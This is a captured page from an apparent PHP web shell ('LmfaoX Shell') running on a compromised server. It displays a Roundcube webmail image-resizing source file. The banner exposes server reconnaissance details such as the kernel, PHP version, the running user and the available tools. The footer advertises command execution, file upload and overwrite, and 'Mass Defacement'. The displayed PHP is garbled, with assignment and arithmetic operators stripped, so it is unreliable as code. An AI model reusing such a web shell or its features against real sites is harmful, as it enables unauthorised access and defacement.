ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.83 GB of 70.42 GB (35.26%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail/ program/ lib/ Roundcube/ - drwxr-xr-x

Directory:
Viewing file:     rcube_image.php (11.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2012, The Roundcube Dev Team                       |
 | Copyright (C) 2011-2012, Kolab Systems AG                             |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Image resizer and converter                                         |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Image resizer and converter
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_image
{
    private 
$image_file;

    const 
TYPE_GIF 1;
    const 
TYPE_JPG 2;
    const 
TYPE_PNG 3;
    const 
TYPE_TIF 4;

    public static 
$extensions = array(
        
self::TYPE_GIF => 'gif',
        
self::TYPE_JPG => 'jpg',
        
self::TYPE_PNG => 'png',
        
self::TYPE_TIF => 'tif',
    );


    function 
__construct($filename)
    {
        
$this->image_file $filename;
    }

    
/**
     * Get image properties.
     *
     * @return mixed Hash array with image props like type, width, height
     */
    
public function props()
    {
        
// use GD extension
        
if (function_exists('getimagesize') && ($imsize = @getimagesize($this->image_file))) {
            
$width   $imsize[0];
            
$height  $imsize[1];
            
$gd_type $imsize['2'];
            
$type    image_type_to_extension($imsize['2'], false);
        }

        
// use ImageMagick
        
if (!$type && ($data $this->identify())) {
            list(
$type$width$height) = $data;
        }

        if (
$type) {
            return array(
                
'type'    => $type,
                
'gd_type' => $gd_type,
                
'width'   => $width,
                
'height'  => $height,
            );
        }
    }

    
/**
     * Resize image to a given size. Use only to shrink an image.
     * If an image is smaller than specified size it will be not resized.
     *
     * @param int    $size      Max width/height size
     * @param string $filename  Output filename
     * @param boolean $browser_compat  Convert to image type displayable by any browser
     *
     * @return mixed Output type on success, False on failure
     */
    
public function resize($size$filename null$browser_compat false)
    {
        
$result  false;
        
$rcube   rcube::get_instance();
        
$convert $rcube->config->get('im_convert_path'false);
        
$props   $this->props();

        if (empty(
$props)) {
            return 
false;
        }

        if (!
$filename) {
            
$filename $this->image_file;
        }

        
// use Imagemagick
        
if ($convert) {
            
$p['out']  = $filename;
            
$p['in']   = $this->image_file;
            
$type      $props['type'];

            if (!
$type && ($data $this->identify())) {
                
$type $data[0];
            }

            
$type strtr($type, array("jpeg" => "jpg""tiff" => "tif""ps" => "eps""ept" => "eps"));
            
$p['intype'] = $type;

            
// convert to an image format every browser can display
            
if ($browser_compat && !in_array($type, array('jpg','gif','png'))) {
                
$type 'jpg';
            }

            
// If only one dimension is greater than the limit convert doesn't
            // work as expected, we need to calculate new dimensions
            
$scale $size max($props['width'], $props['height']);

            
// if file is smaller than the limit, we do nothing
            // but copy original file to destination file
            
if ($scale >= && $p['intype'] == $type) {
                
$result = ($this->image_file == $filename || copy($this->image_file$filename)) ? '' false;
            }
            else {
                if (
$scale >= 1) {
                    
$width  $props['width'];
                    
$height $props['height'];
                }
                else {
                    
$width  intval($props['width']  * $scale);
                    
$height intval($props['height'] * $scale);
                }

                
$valid_types "bmp,eps,gif,jp2,jpg,png,svg,tif";

                
$p += array(
                    
'type'    => $type,
                    
'quality' => 75,
                    
'size'    => $width 'x' $height,
                );

                if (
in_array($typeexplode(','$valid_types))) { // Valid type?
                    
$result rcube::exec($convert ' 2>&1 -flatten -auto-orient -colorspace sRGB -strip'
                        
' -quality {quality} -resize {size} {intype}:{in} {type}:{out}'$p);
                }
            }

            if (
$result === '') {
                @
chmod($filename0600);
                return 
$type;
            }
        }

        
// use GD extension
        
if ($props['gd_type']) {
            if (
$props['gd_type'] == IMAGETYPE_JPEG && function_exists('imagecreatefromjpeg')) {
                
$image imagecreatefromjpeg($this->image_file);
                
$type  'jpg';
            }
            else if(
$props['gd_type'] == IMAGETYPE_GIF && function_exists('imagecreatefromgif')) {
                
$image imagecreatefromgif($this->image_file);
                
$type  'gid';
            }
            else if(
$props['gd_type'] == IMAGETYPE_PNG && function_exists('imagecreatefrompng')) {
                
$image imagecreatefrompng($this->image_file);
                
$type  'png';
            }
            else {
                
// @TODO: print error to the log?
                
return false;
            }

            if (
$image === false) {
                return 
false;
            }

            
$scale $size max($props['width'], $props['height']);

            
// Imagemagick resize is implemented in shrinking mode (see -resize argument above)
            // we do the same here, if an image is smaller than specified size
            // we do nothing but copy original file to destination file
            
if ($scale >= 1) {
                
$result $this->image_file == $filename || copy($this->image_file$filename);
            }
            else {
                
$width     intval($props['width']  * $scale);
                
$height    intval($props['height'] * $scale);
                
$new_image imagecreatetruecolor($width$height);

                
// Fix transparency of gif/png image
                
if ($props['gd_type'] != IMAGETYPE_JPEG) {
                    
imagealphablending($new_imagefalse);
                    
imagesavealpha($new_imagetrue);
                    
$transparent imagecolorallocatealpha($new_image255255255127);
                    
imagefilledrectangle($new_image00$width$height$transparent);
                }

                
imagecopyresampled($new_image$image0000$width$height$props['width'], $props['height']);
                
$image $new_image;

                if (
$props['gd_type'] == IMAGETYPE_JPEG) {
                    
$result imagejpeg($image$filename75);
                }
                elseif(
$props['gd_type'] == IMAGETYPE_GIF) {
                    
$result imagegif($image$filename);
                }
                elseif(
$props['gd_type'] == IMAGETYPE_PNG) {
                    
$result imagepng($image$filename6PNG_ALL_FILTERS);
                }
            }

            if (
$result) {
                @
chmod($filename0600);
                return 
$type;
            }
        }

        
// @TODO: print error to the log?
        
return false;
    }

    
/**
     * Convert image to a given type
     *
     * @param int    $type      Destination file type (see class constants)
     * @param string $filename  Output filename (if empty, original file will be used
     *                          and filename extension will be modified)
     *
     * @return bool True on success, False on failure
     */
    
public function convert($type$filename null)
    {
        
$rcube   rcube::get_instance();
        
$convert $rcube->config->get('im_convert_path'false);

        if (!
$filename) {
            
$filename $this->image_file;

            
// modify extension
            
if ($extension self::$extensions[$type]) {
                
$filename preg_replace('/\.[^.]+$/'''$filename) . '.' $extension;
            }
        }

        
// use ImageMagick
        
if ($convert) {
            
$p['in']   = $this->image_file;
            
$p['out']  = $filename;
            
$p['type'] = self::$extensions[$type];

            
$result rcube::exec($convert ' 2>&1 -colorspace sRGB -strip -quality 75 {in} {type}:{out}'$p);

            if (
$result === '') {
                @
chmod($filename0600);
                return 
true;
            }
        }

        
// use GD extension (TIFF isn't supported)
        
$props $this->props();

        if (
$props['gd_type']) {
            if (
$props['gd_type'] == IMAGETYPE_JPEG && function_exists('imagecreatefromjpeg')) {
                
$image imagecreatefromjpeg($this->image_file);
            }
            else if (
$props['gd_type'] == IMAGETYPE_GIF && function_exists('imagecreatefromgif')) {
                
$image imagecreatefromgif($this->image_file);
            }
            else if (
$props['gd_type'] == IMAGETYPE_PNG && function_exists('imagecreatefrompng')) {
                
$image imagecreatefrompng($this->image_file);
            }
            else {
                
// @TODO: print error to the log?
                
return false;
            }

            if (
$type == self::TYPE_JPG) {
                
$result imagejpeg($image$filename75);
            }
            else if (
$type == self::TYPE_GIF) {
                
$result imagegif($image$filename);
            }
            else if (
$type == self::TYPE_PNG) {
                
$result imagepng($image$filename6PNG_ALL_FILTERS);
            }

            if (
$result) {
                @
chmod($filename0600);
                return 
true;
            }
        }

        
// @TODO: print error to the log?
        
return false;
    }

    
/**
     * Identify command handler.
     */
    
private function identify()
    {
        
$rcube rcube::get_instance();

        if (
$cmd $rcube->config->get('im_identify_path')) {
            
$args = array('in' => $this->image_file'format' => "%m %[fx:w] %[fx:h]");
            
$id   rcube::exec($cmd' 2>/dev/null -format {format} {in}'$args);

            if (
$id) {
                return 
explode(' 'strtolower($id));
            }
        }
    }

}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2688 seconds